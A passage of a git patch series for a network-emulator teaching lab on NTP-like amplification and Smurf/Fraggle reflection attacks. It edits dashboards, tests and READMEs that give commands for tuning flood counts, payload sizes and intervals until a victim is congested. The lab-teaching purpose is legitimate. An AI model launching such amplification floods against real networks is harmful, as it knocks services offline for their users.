'probe-sample failure'; + const percent = sample.success + ? Math.max(6, Math.min(sample.latency_ms / impactConfig.impact_chart_max_ms, 1) * 100) + : 100; + bar.style.height = `${percent}%`; + bar.title = sample.success ? `${sample.latency_ms.toFixed(1)} ms` : 'Failed'; + serviceTimeline.appendChild(bar); + }); + + bandwidthTimeline.replaceChildren(); + const bandwidthSamples = impact.samples + .filter((sample) => sample.bandwidth_success !== null) + .slice(-30); + if (!bandwidthSamples.length) { + const message = document.createElement('span'); + message.className = 'timeline-empty'; + message.textContent = 'Waiting for the first bandwidth probe'; + bandwidthTimeline.appendChild(message); + return; + } + const maximumThroughput = Math.max( + 1, + ...bandwidthSamples + .filter((sample) => sample.bandwidth_success) + .map((sample) => sample.throughput_mbps), + ); + bandwidthSamples.forEach((sample) => { + const bar = document.createElement('i'); + bar.className = sample.bandwidth_success + ? 'probe-sample bandwidth-success' + : 'probe-sample failure'; + const percent = sample.bandwidth_success + ? Math.max(6, sample.throughput_mbps / maximumThroughput * 100) + : 100; + bar.style.height = `${percent}%`; + bar.title = sample.bandwidth_success + ? `${sample.throughput_mbps.toFixed(2)} Mbps` + : 'Failed'; + bandwidthTimeline.appendChild(bar); + }); + } function showEmptyState() { averageSize.textContent = '0 B'; @@ -49,7 +173,27 @@
0.0x - `; + +
+
+
+
Victim impact
+ Legitimate HTTP service +
+ WAITING +
+
+
Current latency--
+
Recent success--
+
Failures0
+
Current goodput--
+
Average goodput--
+
+
Latency probes (higher is slower; red is failed)
+
+
Goodput probes (higher is better; red is failed)
+
+
`; const requestIpBytes = Number(config.request_ip_bytes); const requestPayloadBytes = Number(config.request_payload_bytes); @@ -66,8 +210,24 @@ const maximum = Number(config.gauge_max_amplification) || 20; responseBar.dataset.maximum = String(maximum); root.querySelector('.request-bar').style.width = `${100 / maximum}%`; + impactConfig = { + impact_latency_warning_ms: Number(config.impact_latency_warning_ms) || 150, + impact_stale_seconds: Number(config.impact_stale_seconds) || 4, + impact_chart_max_ms: Number(config.impact_chart_max_ms) || 500, + impact_bandwidth_stale_seconds: Number(config.impact_bandwidth_stale_seconds) || 12, + }; + serviceStatus = root.querySelector('#impact-status'); + serviceLatency = root.querySelector('#impact-latency'); + serviceSuccessRate = root.querySelector('#impact-success-rate'); + serviceFailures = root.querySelector('#impact-failures'); + serviceThroughput = root.querySelector('#impact-throughput'); + serviceAverageThroughput = root.querySelector('#impact-average-throughput'); + serviceTimeline = root.querySelector('#impact-timeline'); + bandwidthTimeline = root.querySelector('#bandwidth-timeline'); + showWaiting(); }, update(stats, {formatBytes, root}) { + updateImpact(stats.impact); if (!stats.total_packets) { showEmptyState(); root.querySelector('#ntp-response-number').textContent = '0.0x'; @@ -88,6 +248,7 @@ reset({root}) { showEmptyState(); root.querySelector('#ntp-response-number').textContent = '0.0x'; + showWaiting(); }, }); })(); diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/visualize_attack.py b/examples/yesterday_once_more/Y10_ntp_amplification/visualize_attack.py deleted file mode 100644 index 963deb986..000000000 --- a/examples/yesterday_once_more/Y10_ntp_amplification/visualize_attack.py +++ /dev/null @@ -1,142 +0,0 @@ -#!/usr/bin/env python3 -"""Live victim-side dashboard for the NTP-like amplification example.""" - -from __future__ import annotations - -import argparse -import os -import socket -import time -from collections import Counter, defaultdict -from typing import DefaultDict - - -def parse_args() -> argparse.Namespace: - parser = argparse.ArgumentParser(description="Visualize NTP-like UDP amplification at the victim.") - parser.add_argument("--host", default="0.0.0.0") - parser.add_argument("--port", type=int, default=9000) - parser.add_argument("--duration", type=float, default=20.0) - parser.add_argument("--expected-requests", type=int, default=3) - parser.add_argument("--request-size", type=int, default=36, help="estimated attacker request size in bytes") - parser.add_argument("--refresh", type=float, default=1.0) - parser.add_argument("--no-clear", action="store_true", help="do not clear the terminal between updates") - return parser.parse_args() - - -def render( - elapsed: float, - packet_count: int, - previous_packet_count: int, - total_bytes: int, - previous_total_bytes: int, - packets_by_source: Counter[str], - bytes_by_source: DefaultDict[str, int], - expected_requests: int, - request_size: int, - clear: bool, -) -> None: - if clear: - os.system("clear") - - unique_sources = len(packets_by_source) - packets_last_window = packet_count - previous_packet_count - bytes_last_window = total_bytes - previous_total_bytes - estimated_request_bytes = max(expected_requests, 0) * max(request_size, 1) - byte_amplification = total_bytes / max(estimated_request_bytes, 1) - - print("NTP-LIKE AMPLIFICATION MONITOR") - print("==============================") - print("Victim view: UDP responses from lab amplifiers") - print() - print(f"elapsed seconds : {elapsed:0.1f}") - print(f"expected trigger requests : {expected_requests}") - print(f"estimated request bytes : {estimated_request_bytes}") - print(f"UDP packets received : {packet_count}") - print(f"total response bytes : {total_bytes}") - print(f"unique amplifiers : {unique_sources}") - print(f"estimated byte amp : {byte_amplification:0.1f}x") - print(f"packets in last window : {packets_last_window}") - print(f"bytes in last window : {bytes_last_window}") - print() - print("Top amplifiers") - print("--------------") - if not packets_by_source: - print("(no UDP responses yet)") - else: - for source, packets in packets_by_source.most_common(12): - print(f"{source:<16} {packets:>5} packets {bytes_by_source[source]:>8} bytes") - print() - print("Start this monitor on the victim, then trigger the attack from AS150.") - print(flush=True) - - -def main() -> int: - args = parse_args() - - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.bind((args.host, args.port)) - sock.settimeout(0.2) - - packets_by_source: Counter[str] = Counter() - bytes_by_source: DefaultDict[str, int] = defaultdict(int) - packet_count = 0 - total_bytes = 0 - previous_packet_count = 0 - previous_total_bytes = 0 - started = time.monotonic() - next_render = started - - while True: - now = time.monotonic() - elapsed = now - started - if elapsed >= args.duration: - break - - try: - payload, source = sock.recvfrom(65535) - except socket.timeout: - payload = b"" - source = ("", 0) - - if payload: - source_ip = source[0] - packet_count += 1 - total_bytes += len(payload) - packets_by_source[source_ip] += 1 - bytes_by_source[source_ip] += len(payload) - - now = time.monotonic() - if now >= next_render: - render( - elapsed=now - started, - packet_count=packet_count, - previous_packet_count=previous_packet_count, - total_bytes=total_bytes, - previous_total_bytes=previous_total_bytes, - packets_by_source=packets_by_source, - bytes_by_source=bytes_by_source, - expected_requests=args.expected_requests, - request_size=args.request_size, - clear=not args.no_clear, - ) - previous_packet_count = packet_count - previous_total_bytes = total_bytes - next_render = now + args.refresh - - render( - elapsed=time.monotonic() - started, - packet_count=packet_count, - previous_packet_count=previous_packet_count, - total_bytes=total_bytes, - previous_total_bytes=previous_total_bytes, - packets_by_source=packets_by_source, - bytes_by_source=bytes_by_source, - expected_requests=args.expected_requests, - request_size=args.request_size, - clear=not args.no_clear, - ) - return 0 - - -if __name__ == "__main__": - raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md index 6a2c2cdd1..10037d3b6 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md @@ -40,23 +40,15 @@ From the example folder, python ./emulator.py --platform amd ``` -To change the number of amplifier hosts on the AS152 LAN: - -```sh -python ./emulator.py --platform amd --target-hosts 30 -``` - -B00's default address assignment range for hosts is `10.152.0.71` through -`10.152.0.99`. Y11 preserves the addresses of the B00-created hosts, but gives -every additional amplifier host an explicit address. It allocates addresses -above the existing B00 hosts first, through `10.152.0.253`, and then uses the -free range `10.152.0.2` through `10.152.0.70`. Address `10.152.0.1` is reserved, -and `10.152.0.254` remains reserved for `router0`. - +To change the number of amplifier hosts on the AS152 LAN, use the `--target-hosts` option (the default value is quite low, so to see the desired DoS effect, use a large number). The existing `10.152.0.0/24` network supports at most 252 amplifier hosts. A larger experiment must use a wider subnet rather than assigning more addresses inside this `/24`. +```sh +python ./emulator.py --platform amd --target-hosts 200 +``` + The generated Docker files are placed in the`output` folder. We can go to this folder, build the container images and start the emulator. @@ -84,14 +76,14 @@ Trigger the Smurf attack from another terminal with: ```sh docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ - /opt/demo/trigger_attack.sh --count 3 + /opt/demo/trigger_attack.sh --count 100 --payload-size 1200 --interval 0.01 ``` Trigger Fraggle with: ```sh docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ - /opt/demo/trigger_attack.sh --mode fraggle --count 3 + /opt/demo/trigger_attack.sh --mode fraggle --count 100 --payload-size 1200 --interval 0.01 ``` The visualization shows matching packet and IP-layer byte totals, values @@ -112,49 +104,29 @@ enough resources to degrade the HTTP service on a fast host. To experiment with service impact, increase `--count` gradually while watching the impact panel. Keep the emulator isolated and stop once the intended effect is visible. + ### Change capacity at runtime -Y11 installs the shared link controller on both sides of AS151's victim access -link. Apply the same runtime rate to the router's victim-facing interface and -the victim's response interface. No limit is enabled by default: +To see the impact of the DoS attack, let's put a limit on the ingress link. This way, +the attacker's packets can exhaust the bandwidth of the victim's network. +No limit is enabled by default. The following command sets the limit on the gateway +to `15mbit`, essentially limiting the ingress bandwidth of the AS151 network. ```sh docker compose -f output/docker-compose.yml exec brdnode_151_router0 \ /opt/demo/traffic_visualizer/network_control.py set \ - --subnet 10.151.0.0/24 --rate 5mbit - -docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ - /opt/demo/traffic_visualizer/network_control.py set \ - --subnet 10.151.0.0/24 --rate 5mbit + --subnet 10.151.0.0/24 --rate 15mbit ``` -Inspect or remove the limit by replacing `set --rate 5mbit` with `status` or -`clear`. Since `tc` is an egress controller, applying it at both endpoints -models the two directions of the access link. +Inspect or remove the limit by replacing `set --rate 15mbit` with `status` or +`clear`. -CPU and memory limits are controlled from the Docker host. Resolve the running -victim container and pass it to the shared host-side tool: - -```sh -VICTIM=$(docker compose -f output/docker-compose.yml ps -q hnode_151_host_0) - -python ../../../tools/TrafficVisualizer/container_control.py set \ - --container "$VICTIM" --cpus 0.5 --memory 256m --memory-swap 256m - -python ../../../tools/TrafficVisualizer/container_control.py restore \ - --container "$VICTIM" -``` - -The first `set` saves the original limits in the current directory so they can -be restored. Network and container capacity values are therefore chosen during -the experiment rather than compiled into Y11. Internet Map is still useful for seeing packets move through the topology, but the victim dashboard makes the key lesson clearer: a small number of spoofed requests can cause many hosts to send replies to the victim. - ## How The Smurf Attack Is Enabled A Smurf attack needs three technical conditions. Modern networks usually break @@ -204,13 +176,6 @@ same broadcast echo request. Each host sends an ICMP echo reply to the spoofed source address, so the replies go to AS151 `host_0`, the victim. -On the victim, we run the following program to count ICMP echo replies from the AS152 prefix. - -```text -/opt/demo/smurf_monitor.py -``` - - ## How The Fraggle Attack Is Enabled The Fraggle attack also depends on the directed broadcast, which is already enabled @@ -230,34 +195,6 @@ The amplification factor depends mainly on the number of AS152 hosts. If `--target-hosts 30` is used, one spoofed broadcast request can produce replies from many of those 30 hosts. -On the victim, we run the following program count UDP replies sent by the Fraggle amplifier hosts. - -```text -/opt/demo/fraggle_monitor.py -``` - - - - - - -## Command Line Monitor - -Instead of using the web application to observe victim-side replies, we can also use the following program to print out the statistics on the terminals. - -For the Smurf attack: -```sh -docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ - /opt/demo/visualize_attack.py --duration 20 --request-count 3 -``` - -For the Fraggle attack: -```sh -docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ - /opt/demo/visualize_attack.py --mode fraggle --duration 20 --request-count 3 -``` - - ## Standard Test Runner This example follows the `examples/sample` pattern: diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py index fa9265481..bb2389144 100755 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py @@ -174,13 +174,8 @@ def configure_attacker(host: Node) -> None: def configure_victim(host: Node) -> None: host.addSoftware("python3") host.addSoftware("tcpdump") - host.addSoftware("iproute2") prepare_smurf_dir(host) - install_file(host, "smurf_monitor.py", "smurf_monitor.py") - install_file(host, "fraggle_monitor.py", "fraggle_monitor.py") - install_file(host, "visualize_attack.py", "visualize_attack.py") install_traffic_visualizer_file(host, "victim_http_service.py") - install_traffic_visualizer_file(host, "network_control.py") install_traffic_visualizer_file(host, "traffic_visualizer.py") install_traffic_visualizer_file(host, "dashboard.html") install_file(host, "traffic_visualizer_config.json", "traffic_visualizer/config.json") @@ -197,10 +192,8 @@ def configure_victim(host: Node) -> None: host.addPortForwarding(TRAFFIC_VISUALIZER_HOST_PORT, TRAFFIC_VISUALIZER_CONTAINER_PORT) host.appendStartCommand(f"mkdir -p {TRAFFIC_VISUALIZER_DIR}") host.appendStartCommand( - f"chmod +x {SMURF_DIR}/smurf_monitor.py {SMURF_DIR}/fraggle_monitor.py " - f"{SMURF_DIR}/visualize_attack.py {TRAFFIC_VISUALIZER_DIR}/victim_http_service.py " - f"{TRAFFIC_VISUALIZER_DIR}/traffic_visualizer.py " - f"{TRAFFIC_VISUALIZER_DIR}/network_control.py" + f"chmod +x {TRAFFIC_VISUALIZER_DIR}/victim_http_service.py " + f"{TRAFFIC_VISUALIZER_DIR}/traffic_visualizer.py" ) host.appendStartCommand( f"python3 {TRAFFIC_VISUALIZER_DIR}/victim_http_service.py --port {VICTIM_SERVICE_PORT} " diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/fraggle_monitor.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/fraggle_monitor.py deleted file mode 100644 index b71be8d60..000000000 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/fraggle_monitor.py +++ /dev/null @@ -1,67 +0,0 @@ -#!/usr/bin/env python3 -"""Count UDP replies that arrive at the Fraggle victim.""" - -from __future__ import annotations - -import argparse -import json -import socket -import time -from collections import Counter - - -def parse_args() -> argparse.Namespace: - parser = argparse.ArgumentParser(description="Monitor UDP replies at the Fraggle victim.") - parser.add_argument("--duration", type=float, default=8.0) - parser.add_argument("--source-prefix", default="10.152.0.", help="count replies from this source prefix") - parser.add_argument("--port", type=int, default=7000, help="victim UDP port") - parser.add_argument("--output", default="/tmp/fraggle-monitor.json") - return parser.parse_args() - - -def main() -> int: - args = parse_args() - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - sock.bind(("0.0.0.0", args.port)) - sock.settimeout(0.5) - - deadline = time.monotonic() + args.duration - sources: Counter[str] = Counter() - bytes_by_source: Counter[str] = Counter() - total_udp = 0 - - while time.monotonic() < deadline: - try: - data, client = sock.recvfrom(65535) - except socket.timeout: - continue - - source = client[0] - total_udp += 1 - if source.startswith(args.source_prefix): - sources[source] += 1 - bytes_by_source[source] += len(data) - - summary = { - "duration": args.duration, - "source_prefix": args.source_prefix, - "listen_port": args.port, - "reply_count": sum(sources.values()), - "reply_bytes": sum(bytes_by_source.values()), - "unique_reply_sources": sorted(sources), - "replies_by_source": dict(sorted(sources.items())), - "bytes_by_source": dict(sorted(bytes_by_source.items())), - "total_udp_seen": total_udp, - } - - with open(args.output, "w", encoding="utf-8") as handle: - json.dump(summary, handle, indent=2, sort_keys=True) - handle.write("\n") - - print(json.dumps(summary, indent=2, sort_keys=True)) - return 0 - - -if __name__ == "__main__": - raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_monitor.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_monitor.py deleted file mode 100644 index f33b82ed5..000000000 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_monitor.py +++ /dev/null @@ -1,75 +0,0 @@ -#!/usr/bin/env python3 -"""Count ICMP echo replies that arrive at the Smurf victim.""" - -from __future__ import annotations - -import argparse -import json -import socket -import struct -import time - - -def parse_args() -> argparse.Namespace: - parser = argparse.ArgumentParser(description="Monitor ICMP echo replies at the Smurf victim.") - parser.add_argument("--duration", type=float, default=8.0) - parser.add_argument("--source-prefix", default="10.152.0.", help="count replies from this source prefix") - parser.add_argument("--output", default="/tmp/smurf-monitor.json") - return parser.parse_args() - - -def parse_icmp(packet: bytes) -> tuple[str, int] | None: - if len(packet) < 28: - return None - - ihl = (packet[0] & 0x0F) * 4 - if len(packet) < ihl + 8 or packet[9] != socket.IPPROTO_ICMP: - return None - - source = socket.inet_ntoa(packet[12:16]) - icmp_type = packet[ihl] - return source, icmp_type - - -def main() -> int: - args = parse_args() - sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) - sock.settimeout(0.5) - - deadline = time.monotonic() + args.duration - replies: list[str] = [] - total_icmp = 0 - - while time.monotonic() < deadline: - try: - packet, _ = sock.recvfrom(65535) - except socket.timeout: - continue - - parsed = parse_icmp(packet) - if parsed is None: - continue - - source, icmp_type = parsed - total_icmp += 1 - if icmp_type == 0 and source.startswith(args.source_prefix): - replies.append(source) - - summary = { - "duration": args.duration, - "source_prefix": args.source_prefix, - "reply_count": len(replies), - "unique_reply_sources": sorted(set(replies)), - "total_icmp_seen": total_icmp, - } - - with open(args.output, "w", encoding="utf-8") as handle: - json.dump(summary, handle, indent=2, sort_keys=True) - handle.write("\n") - - print(json.dumps(summary, indent=2, sort_keys=True)) - return 0 - - -if __name__ == "__main__": - raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py index e3c741123..ae095f493 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py @@ -5,12 +5,6 @@ from seedemu.testing import ComposeRuntimeTest -MONITOR_OUTPUT = "/tmp/smurf-monitor.json" -MONITOR_LOG = "/tmp/smurf-monitor.log" -FRAGGLE_MONITOR_OUTPUT = "/tmp/fraggle-monitor.json" -FRAGGLE_MONITOR_LOG = "/tmp/fraggle-monitor.log" - - def main() -> int: test = ComposeRuntimeTest(__file__) @@ -51,13 +45,13 @@ def main() -> int: if victim and attacker: test.exec_check( - "victim starts ICMP reply monitor", + "victim resets Traffic Visualizer before Smurf validation", victim, - "rm -f {out} {log}; " - "(python3 /opt/demo/smurf_monitor.py --duration 8 --output {out} > {log} 2>&1 &) ; " - "sleep 1".format(out=MONITOR_OUTPUT, log=MONITOR_LOG), - retries=1, - interval=1, + "python3 -c \"import urllib.request; " + "r=urllib.request.Request('http://127.0.0.1:8080/api/reset', method='POST'); " + "urllib.request.urlopen(r).read()\"", + retries=30, + interval=2, ) test.exec_check( "attacker sends spoofed ICMP requests to AS152 directed broadcast", @@ -69,20 +63,20 @@ def main() -> int: test.exec_check( "victim receives multiple reflected ICMP echo replies", victim, - "for i in $(seq 1 12); do [ -s {out} ] && break; sleep 1; done; " - "python3 -c \"import json; d=json.load(open('{out}')); " - "assert d['reply_count'] >= 6, d; " - "assert len(d['unique_reply_sources']) >= 2, d\"".format(out=MONITOR_OUTPUT), - retries=1, + "python3 -c \"import json,urllib.request; " + "d=json.load(urllib.request.urlopen('http://127.0.0.1:8080/api/stats')); " + "assert d['total_packets'] >= 6, d; " + "assert d['total_ip_bytes'] >= d['total_packets'] * 28, d\"", + retries=12, interval=1, ) test.exec_check( - "victim starts UDP reply monitor", + "victim resets Traffic Visualizer before Fraggle validation", victim, - "rm -f {out} {log}; " - "(python3 /opt/demo/fraggle_monitor.py --duration 8 --port 7000 --output {out} > {log} 2>&1 &) ; " - "sleep 1".format(out=FRAGGLE_MONITOR_OUTPUT, log=FRAGGLE_MONITOR_LOG), - retries=1, + "python3 -c \"import urllib.request; " + "r=urllib.request.Request('http://127.0.0.1:8080/api/reset', method='POST'); " + "urllib.request.urlopen(r).read()\"", + retries=3, interval=1, ) test.exec_check( @@ -95,12 +89,11 @@ def main() -> int: test.exec_check( "victim receives multiple reflected UDP replies", victim, - "for i in $(seq 1 12); do [ -s {out} ] && break; sleep 1; done; " - "python3 -c \"import json; d=json.load(open('{out}')); " - "assert d['reply_count'] >= 6, d; " - "assert d['reply_bytes'] >= d['reply_count'] * 64, d; " - "assert len(d['unique_reply_sources']) >= 2, d\"".format(out=FRAGGLE_MONITOR_OUTPUT), - retries=1, + "python3 -c \"import json,urllib.request; " + "d=json.load(urllib.request.urlopen('http://127.0.0.1:8080/api/stats')); " + "assert d['total_packets'] >= 6, d; " + "assert d['total_ip_bytes'] >= d['total_packets'] * 64, d\"", + retries=12, interval=1, ) @@ -112,14 +105,6 @@ def main() -> int: retries=30, interval=3, ) - test.exec_check( - "victim includes the runtime link controller", - victim, - "test -x /opt/demo/traffic_visualizer/network_control.py", - retries=1, - interval=1, - ) - if victim_router: test.exec_check( "victim access router includes the runtime link controller", diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/visualize_attack.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/visualize_attack.py deleted file mode 100644 index cf9f37284..000000000 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/visualize_attack.py +++ /dev/null @@ -1,158 +0,0 @@ -#!/usr/bin/env python3 -"""Live victim-side dashboard for the Smurf/Fraggle attack example.""" - -from __future__ import annotations - -import argparse -import os -import socket -import time -from collections import Counter - - -def parse_args() -> argparse.Namespace: - parser = argparse.ArgumentParser(description="Visualize directed-broadcast amplification at the victim.") - parser.add_argument("--mode", choices=["smurf", "fraggle"], default="smurf") - parser.add_argument("--duration", type=float, default=20.0) - parser.add_argument("--source-prefix", default="10.152.0.", help="amplifier source prefix") - parser.add_argument("--request-count", type=int, default=3, help="spoofed requests expected") - parser.add_argument("--udp-port", type=int, default=7000, help="victim UDP port for Fraggle replies") - parser.add_argument("--refresh", type=float, default=1.0, help="dashboard refresh interval") - parser.add_argument("--no-clear", action="store_true", help="do not clear the terminal between updates") - return parser.parse_args() - - -def parse_icmp(packet: bytes) -> tuple[str, int] | None: - if len(packet) < 28: - return None - - ihl = (packet[0] & 0x0F) * 4 - if len(packet) < ihl + 8 or packet[9] != socket.IPPROTO_ICMP: - return None - - source = socket.inet_ntoa(packet[12:16]) - icmp_type = packet[ihl] - return source, icmp_type - - -def render( - mode: str, - elapsed: float, - total_replies: int, - previous_total: int, - sources: Counter[str], - request_count: int, - source_prefix: str, - clear: bool, - total_bytes: int = 0, -) -> None: - if clear: - os.system("clear") - - unique_sources = len(sources) - replies_per_second = total_replies - previous_total - amplification = total_replies / max(request_count, 1) - - title = "SMURF ATTACK MONITOR" if mode == "smurf" else "FRAGGLE ATTACK MONITOR" - protocol = "ICMP echo replies" if mode == "smurf" else "UDP replies" - - print(title) - print("=" * len(title)) - print(f"Victim view: {protocol} from {source_prefix}*") - print() - print(f"elapsed seconds : {elapsed:0.1f}") - print(f"spoofed requests : {request_count}") - print(f"{protocol} received".ljust(24) + f": {total_replies}") - print(f"unique amplifier hosts : {unique_sources}") - print(f"estimated amplification: {amplification:0.1f}x") - print(f"replies in last window : {replies_per_second}") - if mode == "fraggle": - print(f"UDP response bytes : {total_bytes}") - print() - print("Top replying hosts") - print("------------------") - if not sources: - print("(no replies yet)") - else: - for source, count in sources.most_common(12): - print(f"{source:<16} {count:>5} replies") - print() - print("Start this monitor on the victim, then trigger the matching attack from AS150.") - print(flush=True) - - -def main() -> int: - args = parse_args() - - if args.mode == "smurf": - sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) - else: - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - sock.bind(("0.0.0.0", args.udp_port)) - sock.settimeout(0.2) - - sources: Counter[str] = Counter() - bytes_by_source: Counter[str] = Counter() - started = time.monotonic() - next_render = started - previous_total = 0 - - while True: - now = time.monotonic() - elapsed = now - started - if elapsed >= args.duration: - break - - try: - packet, client = sock.recvfrom(65535) - except socket.timeout: - packet = b"" - - if packet: - if args.mode == "smurf": - parsed = parse_icmp(packet) - if parsed is not None: - source, icmp_type = parsed - if icmp_type == 0 and source.startswith(args.source_prefix): - sources[source] += 1 - else: - source = client[0] - if source.startswith(args.source_prefix): - sources[source] += 1 - bytes_by_source[source] += len(packet) - - now = time.monotonic() - if now >= next_render: - total = sum(sources.values()) - render( - mode=args.mode, - elapsed=now - started, - total_replies=total, - previous_total=previous_total, - sources=sources, - request_count=args.request_count, - source_prefix=args.source_prefix, - clear=not args.no_clear, - total_bytes=sum(bytes_by_source.values()), - ) - previous_total = total - next_render = now + args.refresh - - total = sum(sources.values()) - render( - mode=args.mode, - elapsed=time.monotonic() - started, - total_replies=total, - previous_total=previous_total, - sources=sources, - request_count=args.request_count, - source_prefix=args.source_prefix, - clear=not args.no_clear, - total_bytes=sum(bytes_by_source.values()), - ) - return 0 - - -if __name__ == "__main__": - raise SystemExit(main()) From a7b65fafe2da6792acbe1710cdd666a39d9b6edc Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 19 Jul 2026 16:57:23 +0800 Subject: [PATCH 29/33] added interval --- .../Y10_ntp_amplification/README.md | 9 +++++---- .../Y10_ntp_amplification/test_runtime.py | 4 ++-- .../Y10_ntp_amplification/trigger_attack.py | 14 ++++++++++++++ .../Y11_smurf_fraggle_attack/README.md | 8 +++++--- 4 files changed, 26 insertions(+), 9 deletions(-) diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/README.md b/examples/yesterday_once_more/Y10_ntp_amplification/README.md index 71e4b79fd..4a249f8bd 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/README.md +++ b/examples/yesterday_once_more/Y10_ntp_amplification/README.md @@ -45,11 +45,12 @@ docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ ``` One round sends one request to each of the three amplifiers. Use `--rounds` to -repeat the attack; the default is one round: +repeat the attack and `--interval` to control the delay between individual +requests. The defaults are one round and 0.2 seconds: ```sh docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ - /opt/ntp-like/trigger_attack.sh --rounds 10 + /opt/ntp-like/trigger_attack.sh --rounds 10 --interval 0.05 ``` The generic area displays packet and IP-byte totals, rates, and packet-flow @@ -107,8 +108,8 @@ docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ /opt/ntp-like/trigger_attack.sh ``` -For example, `--rounds 5` sends 15 reflection requests in total: five requests -to each of the three default amplifiers. +For example, `--rounds 5 --interval 0.1` sends 15 reflection requests in total, +one every 0.1 seconds: five requests to each of the three default amplifiers. The default victim is `10.151.0.71:9000`. The default amplifiers are: diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py b/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py index c74ff7c32..1b1023450 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py +++ b/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py @@ -24,7 +24,7 @@ def main() -> int: test.exec_check( "attacker direct queries receive amplified responses", attacker, - "/opt/ntp-like/trigger_attack.py --json", + "/opt/ntp-like/trigger_attack.py --interval 0 --json", retries=30, interval=3, ) @@ -88,7 +88,7 @@ def main() -> int: test.exec_check( "attacker triggers reflection simulation", attacker, - "/opt/ntp-like/trigger_attack.py --reflect --rounds 2 --json", + "/opt/ntp-like/trigger_attack.py --reflect --rounds 2 --interval 0.05 --json", retries=10, interval=2, ) diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py b/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py index 3cac3a067..3e19bdd51 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py +++ b/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py @@ -28,11 +28,19 @@ def parse_args() -> argparse.Namespace: default=1, help="number of attack rounds; each round contacts every amplifier once", ) + parser.add_argument( + "--interval", + type=float, + default=0.2, + help="seconds between requests", + ) parser.add_argument("--timeout", type=float, default=2.0) parser.add_argument("--json", action="store_true", help="print machine-readable results") args = parser.parse_args() if args.rounds < 1: parser.error("--rounds must be at least 1") + if args.interval < 0: + parser.error("--interval must be zero or greater") return args @@ -80,6 +88,8 @@ def main() -> int: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) results: List[Dict[str, object]] = [] + request_count = args.rounds * len(amplifiers) + sent_count = 0 try: for round_number in range(1, args.rounds + 1): for amplifier in amplifiers: @@ -89,6 +99,9 @@ def main() -> int: result = send_direct_query(sock, amplifier, args.port, args.trigger, args.timeout) result["round"] = round_number results.append(result) + sent_count += 1 + if sent_count < request_count: + time.sleep(args.interval) finally: sock.close() @@ -98,6 +111,7 @@ def main() -> int: { "rounds": args.rounds, "amplifiers_per_round": len(amplifiers), + "interval_seconds": args.interval, "results": results, }, indent=2, diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md index 10037d3b6..34d3a4093 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md @@ -72,18 +72,20 @@ on the host at the following URL. Open this address in a browser. http://localhost:8081 ``` -Trigger the Smurf attack from another terminal with: +Trigger the Smurf attack from another terminal with the following commands. Adjust the +interval value to control the attack speed. Find the value that can congest +the victim's network, so the attack impact is clearly visible. ```sh docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ - /opt/demo/trigger_attack.sh --count 100 --payload-size 1200 --interval 0.01 + /opt/demo/trigger_attack.sh --count 100 --payload-size 1200 --interval 0.05 ``` Trigger Fraggle with: ```sh docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ - /opt/demo/trigger_attack.sh --mode fraggle --count 100 --payload-size 1200 --interval 0.01 + /opt/demo/trigger_attack.sh --mode fraggle --count 100 --payload-size 1200 --interval 0.05 ``` The visualization shows matching packet and IP-layer byte 